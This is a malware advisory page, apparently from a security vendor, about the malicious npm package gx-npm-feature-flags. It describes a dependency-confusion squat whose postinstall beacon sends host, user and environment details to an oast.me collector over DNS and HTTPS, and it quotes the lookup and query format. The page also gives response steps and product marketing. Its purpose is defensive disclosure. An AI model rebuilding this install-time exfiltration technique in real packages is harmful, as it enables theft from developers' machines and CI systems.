gx-npm-feature-flagsnpm
gx-npm-feature-flags is a confirmed malicious npm package (MAL-2026-6466) that steals credentials and exfiltrates sensitive data (malicious version 99.99.99). Do not install it — remove it immediately and rotate any exposed credentials.
Malicious code in gx-npm-feature-flags (npm)
What this malware does
[email protected] is a dependency-confusion squat (max-semver 99.99.99 on a gx--prefixed name to outrank a private internal package) that runs an exfiltration beacon at install time. package.json declares postinstall: node beacon.js. beacon.js collects the installer's OS hostname (os.hostname()), OS user (os.userInfo() / process.env.USER), current working directory (process.cwd()), package name, Node version, and the first 80 environment-variable names (process.env), then exfiltrates via two channels to a hardcoded *.oast.me endpoint: (1) a DNS lookup encoding pkg/host/user as subdomain labels (dns.lookup('<pkg>.<host>.<user>.d8uectoqtvskhftsa940pm3kth3ahdxn4.oast.me')), and (2) an HTTPS GET to the same host with a base64-encoded JSON blob in the query string (path: '/'+pkg+'?d='+base64(JSON({pkg,host,user,cwd,env_names,node}))). The base64 wrapping obscures the payload from proxy logs; the dual DNS+HTTPS channels are designed to bypass egress filtering. The package README self-labels as 'authorized security research / Bugcrowd dependency-confusion PoC' — that framing does not consent any third party who installs the package; their CI/build identifiers leave to a third-party collector regardless of the author's stated intent.
Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
The OpenSSF Package Analysis project identified 'gx-npm-feature-flags' @ 99.99.99 (npm) as malicious.
It is considered malicious because:
- The package communicates with a domain associated with malicious activity.
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for gx-npm-feature-flags (version 99.99.99). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging gx-npm-feature-flags across your stack and pipelines.
If you installed it — respond
gx-npm-feature-flags is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If gx-npm-feature-flags was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks gx-npm-feature-flags before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
Campaign
References
Credits
- Amazon Inspector · finder
- OpenSSF: Package Analysis · finder
Detect & block this
O3 blocks gx-npm-feature-flags-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.